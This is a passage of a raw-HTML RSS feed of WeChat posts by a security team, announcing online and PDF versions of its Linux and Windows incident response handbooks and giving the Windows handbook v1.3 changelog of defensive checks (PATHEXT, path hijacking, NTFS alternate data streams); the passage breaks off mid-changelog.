UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">为彻底解决以上问题，我们决定直接推出</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">在线版的应急响应手册！</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">大家可以随时搜索、复制其中的代码和文字。后续手册更新时，我们也会同步更新在线版本，确保内容始终最新。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">0x03 在线版网站地址</span></h2><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 11.34px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf=""><a href="https://book.noptrace.com/" target="_blank">https://book.noptrace.com/</a></span></code></pre><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><br/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">网站基于 Nginx + MkDocs + Material 搭建，感谢相关技术开发者的贡献～</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">由于我们目前有两本手册（未来可能更多），为避免大家要记住子域名到底是 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">book</span></code><span leaf=""> 还是 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">books</span></code><span leaf=""> ，我们还提供了备用地址：</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 11.34px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf=""><a href="https://books.noptrace.com/" target="_blank">https://books.noptrace.com/</a></span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">欢迎大家浏览、使用，并提出宝贵意见～</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">0x04 PDF 版本地址</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在许多应急场景中，大家可能无法访问网络，而且不少用户更偏好 PDF 的便携性。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">从 GitHub 仓库免费获取最新 PDF 版本：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">Linux 应急响应手册</span></strong><span leaf=""><br/></span><span leaf=""><a href="https://github.com/Just-Hack-For-Fun/Linux-INCIDENT-RESPONSE-COOKBOOK" target="_blank">https://github.com/Just-Hack-For-Fun/Linux-INCIDENT-RESPONSE-COOKBOOK</a></span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">Windows 应急响应手册</span></strong><span leaf=""><br/></span><span leaf=""><a href="https://github.com/Just-Hack-For-Fun/Windows-INCIDENT-RESPONSE-COOKBOOK" target="_blank">https://github.com/Just-Hack-For-Fun/Windows-INCIDENT-RESPONSE-COOKBOOK</a></span></p></li></ul><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">0x05 往期文章</span></h2><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502967&amp;idx=1&amp;sn=64d276c8878b4f1e2fa6f5773b2649ee&amp;scene=21#wechat_redirect" textvalue="Windows 应急响应手册 v1.3 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">Windows 应急响应手册 v1.3 发布！</a></span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502770&amp;idx=1&amp;sn=85b3f9c13c78ee814042b282f6fe6e87&amp;scene=21#wechat_redirect" textvalue="Linux 应急响应手册 v2.0.1 发布！(含目录)" data-itemshowtype="0" linktype="text" data-linktype="2">Linux 应急响应手册 v2.0.1 发布！(含目录)</a></span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502811&amp;idx=1&amp;sn=bdf64878bb87c64fb898881f5aadd82e&amp;scene=21#wechat_redirect" textvalue="OpenForensicRules 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">OpenForensicRules 发布！</a></span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502819&amp;idx=1&amp;sn=66c9909519c95e1655978d666aba562d&amp;scene=21#wechat_redirect" textvalue="NOPTrace-Configurator 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">NOPTrace-Configurator 发布！</a></span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502852&amp;idx=1&amp;sn=3d3f29e38705cbb244c6774bf883997a&amp;scene=21#wechat_redirect" textvalue="NOPTrace-Collector 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">NOPTrace-Collector 发布！</a></span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf=""><br/></span></p></li></ul></div><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="NOP Team" data-alias="yidalidemao" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/fZT30hrVgRftxytNjJnL5eOVg23jso0f1Xjf2t8ibBgUvibZjvSkOxsQdP2trmzlpmwBIQU9CObUr93c6p1qNHmg/0?wx_fmt=png" data-signature="有态度，不苟同    No System Is Safe！" data-id="MzU1NDkwMzAyMg==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247502973">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=18066a78&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247502973%26idx%3D1%26sn%3D7cc823a278c4787fd7f151fe75eee2e3">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 21 Jul 2025 08:01:00 +0800</pubDate>
    </item>
    <item>
      <title>Windows 应急响应手册 v1.3 发布！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502967&amp;idx=1&amp;sn=64d276c8878b4f1e2fa6f5773b2649ee</link>
      <description>愿心中的火永不熄灭～</description>
      <content:encoded><![CDATA[<p>
原创 <span>NOP Team</span> <span>2025-07-18 02:38</span> <span style="display: inline-block;">北京</span>
</p>

<p>愿心中的火永不熄灭～</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c0c047a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZT30hrVgReGqIdeibIxILdawFKAO0Y1icmOZzssXNp3uST12NArqFmZ8A7qqpYz1IicWAWb5n7feUicSGRwicdvI7Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p nodeleaf=""><mp-common-clmusic class="res_iframe clmusic_iframe js_uneditable custom_select_card" data-pluginname="insertaudio" type="1" music_name="Lydia" albumurl="http://wx.y.gtimg.cn/music/photo_new/T002R500x500M0000015qGHu3KjkCl_4.jpg" singer="F.I.R.飞儿乐团" count="0" is_vip="1" duration="238000" music_source="1" listenid="78238780120915873"></mp-common-clmusic></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">简介</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">大家好，《Windows 应急响应手册 v1.3》 发布啦！</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">下载链接在文末</span></strong></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">本次更新添加了以下内容：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">应急手册添加了目录</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">各个应急事件处置流程添加了流程图</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">各个应急事件处置流程添加了固定证据部分</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">添加 pathext 环境变量排查</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">添加 Windows 平台路径存在空格可能带来的劫持排查</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">添加 NTFS 备用数据流(ADS)检查</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">添加 Windows Sandbox 检查</span></p><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><br/></span></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">本次更新完善了以下内容：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">完善近期活动部分内容</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">完善杀毒软件排查部分注意事项</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">完善善后阶段</span></p><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><br/></span></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">本次更新修复了以下内容：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">修复了手册引用内容复制乱码、搜索不到的问题</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这部分并未完全修复，本质原因是字体中缺少某些中文字符</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">修复了部分注册表错误</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">删除部分失效链接</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">修复了部分文字错误</span></p></div></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">大家的反馈对这本手册的发展很重要，我们将大家的反馈信息列表放在了下面，我们将下载链接放在文末就是希望大家可以看到提供反馈的用户以及具体反馈的内容，也是我们对于反馈的朋友们的公开回复，感谢大家反馈～</span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">更新日记</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: 